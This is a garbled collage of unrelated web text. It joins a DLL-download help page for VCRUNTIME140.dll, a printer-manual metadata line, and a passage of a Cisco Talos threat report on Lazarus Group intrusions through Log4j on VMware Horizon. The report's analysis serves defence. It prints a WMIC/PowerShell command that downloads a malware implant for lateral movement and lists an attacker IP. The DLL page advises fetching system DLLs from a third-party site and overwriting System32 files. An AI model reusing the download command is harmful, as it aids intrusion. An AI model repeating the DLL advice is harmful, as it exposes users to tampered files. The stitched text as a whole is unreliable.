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Common for the following program files;httpd.exephp.exeskype.exeDComPerm.exeflexsim.exeWinfile.exUplayService.exePlex Media Server.exeotvdm.exePiriform.exeProxy.exeAccelerometerSt.exeAUEPUC.exephp-cgi.exeGsi.exeEoCApp.exeHITMAN2.exeThe solution to this problem is to replace the missing dll file where the program can find it.This can be accomplished in many ways;Downloading only the needed file (Manually or using the DLL-Files.com CLIENT)Re-installing the program giving you this error messageInstalling (or repairing) Microsoft Visual C++ Redistributable for Visual Studio 2015/2017/2019To install the VCRUNTIME140.dll to default windows folder using the DLL-Files.com CLIENT, begin by starting the CLIENT.Type \"VCRUNTIME140.dll\" in the search input and click \"Search for DLL file\".Select VCRUNTIME140.dll in the search results.Click \"Install\".To manually replace VCRUNTIME140.dll, begin by downloading a suitable version from this page.Open the zip-file you downloaded from DLL-files.com .Extract the DLL-file to a known location on your computer.After extracting your zip-file, place the extracted DLL-file in the directory of the program that is requesting the file. Ex. C:\\Program Files (x86)\\Microsoft\\Skype for Desktop\\VCRUNTIME140.dllEven if using a 64bit Windows system, many programs are still 32bit.32bit programs uses 32bit dll files, 64bit programs uses 64bit dll files.On a 64bit Windows system, programs installed in C:\\Program Files (x86)\\ are most likely 32bit, and programs installed in C:\\Program Files\\ are most likely 64bit.Make sure to use a 32bit DLL-file for a 32bit program, and a 64bit DLL-file for a 64bit program. Failure to do so will likely result in a 0xc000007b error.Re-start your computer, and try to recreate the error to see if it has been resolved.If placing the dll file in the program folder does not help, place a copy of the file in Windows default dll directory.On a 64bit version of Windows, the default folder for 32bit DLL-files is C:\\Windows\\SysWOW64\\ , and for 64bit dll-files C:\\Windows\\System32\\ .Make sure to overwrite any existing files (but make a backup copy of the original file).Re-start your computer, and try to recreate the error to see if it has been resolved.If your issue has not been resolved by these suggestions, you might need to re-install the Microsoft visual C++ Redistributable packages, which can be found at the Microsoft support page;Microsoft Visual C++ 2015 RedistributableMicrosoft Visual C++ 2017 x86 RedistributableMicrosoft Visual C++ 2017 x64 RedistributableMicrosoft Visual C++ 2019 x86 RedistributableMicrosoft Visual C++ 2019 x64 Redistributablex86 for 32bit, x64 for 64bit. If using a 64bit Windows, install both.

Name: Visual Installation Guide 1140 & 1145Number: 21.511.824.0011RThis documentation provides information of installation and daily use of the printer.Level: May 2015Language: multi / graphical presentation

Cisco Talos assesses with high confidence these attacks have been conducted by the North Korean state-sponsored threat actor Lazarus Group. During our investigations, we identified three distinct RATs being employed by the threat actors, including VSingle and YamaBot, which are exclusively developed and distributed by Lazarus. The Japanese CERT (JPCERT/CC) recently published reports (VSingle,YamaBot), describing them in detail and attributed the campaigns to the Lazarus threat actor.The TTPs used in these attacks also point to the Lazarus threat actor. The initial vector was the exploitation of the Log4j vulnerability on exposed VMware Horizon servers. Successful post-exploitation led to the download of their toolkit from web servers. The same initial vector, URL patterns and similar subsequent hands-on-keyboard activity have been described in this report from AhnLab from earlier this year. There are also overlapping IOCs between the campaign described by AhnLab and the current campaign, such as the IP address84[.]38.133[.]145, which was used as a hosting platform for the actors' malicious tools. Although the same tactics have been applied in both attacks, the resulting malware implants deployed have been distinct from one another, indicating the wide variety of implants available at the disposal of Lazarus. Additionally, we've also observed similarities in TTPs disclosed by Kaspersky attributed to the Andariel sub-group under the Lazarus umbrella, with the critical difference being the deployment of distinct malware. While Kaspersky discovered the use of Dtrack and Maui, we've observed the use of VSingle, YamaBot and MagicRAT.Cisco Talos acknowledges that when analyzed individually, the attribution evidence only reaches medium-confidence, however, we're raising our confidence level when analyzing all these points in the context of the campaign and victims.

Once the AV on the system has been bypassed using the reverse shell, the attackers then deploy the actual malware implant from a malware family known to be developed and operated by Lazarus called \"VSingle.\"The deployment consists of downloading a copy of the legitimate WinRAR utility from a remote location controlled by the attackers along with an additional payload (archive) [T1608]:

The archive downloaded to the infected endpoint is decompressed and consists of the VSingle malware executable which is optionally renamed and then persisted on the endpoint by creating an auto-start service.

The implant is simple in terms of functionalities and is basically a stager that enables the attackers to deploy more malware on the infected system. It also includes the ability to open a reverse shell that connects to the C2 server and allows untethered access to the attackers to the endpoint to execute commands via \"cmd.exe.\"Although a rather simple RAT, VSingle can download and execute additional plugins from the C2 server. These plugins can either be in the form of shellcode or script files of specific formats served by the C2. The image below shows the code used to execute a shellcode downloaded.

What's unique in this intrusion, however, is that we observed the deployment of a fairly new implant three days before the attackers deployed VSingle on the infected systems.This implant called \"MagicRAT\" is outlined in a recently published post. The reverse interactive shell eventually downloads MagicRAT from a remote location.

Once the list of computers and users is obtained, the attackers would manually ping specific endpoints in the list to verify if they are reachable (with an occasional tracert). VSingle deployment on new hosts was done by using WMIC to start a remote process. This process was, in fact, a PowerShell snippet that would download VSingle from a remote system [T1608/001].WMIC /node: process call create \"powershell.exe (New-Object System.Net.Webclient).DownloadFile('/svhostw.exe','\\\\svhostww.exe')\" In some infections, we observed the deployment of impacket tools on other endpoints to move laterally and establish an interactive shell.This stage of the attacks was clearly manual work performed by a human operator. While trying to establish interactive remote console sessions, we can see the operators making errors on the commands.

Across the first endpoints compromised in the enterprises, we observed the attackers downloading their custom implants from remote locations and deploying and persisting them on the systems.

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack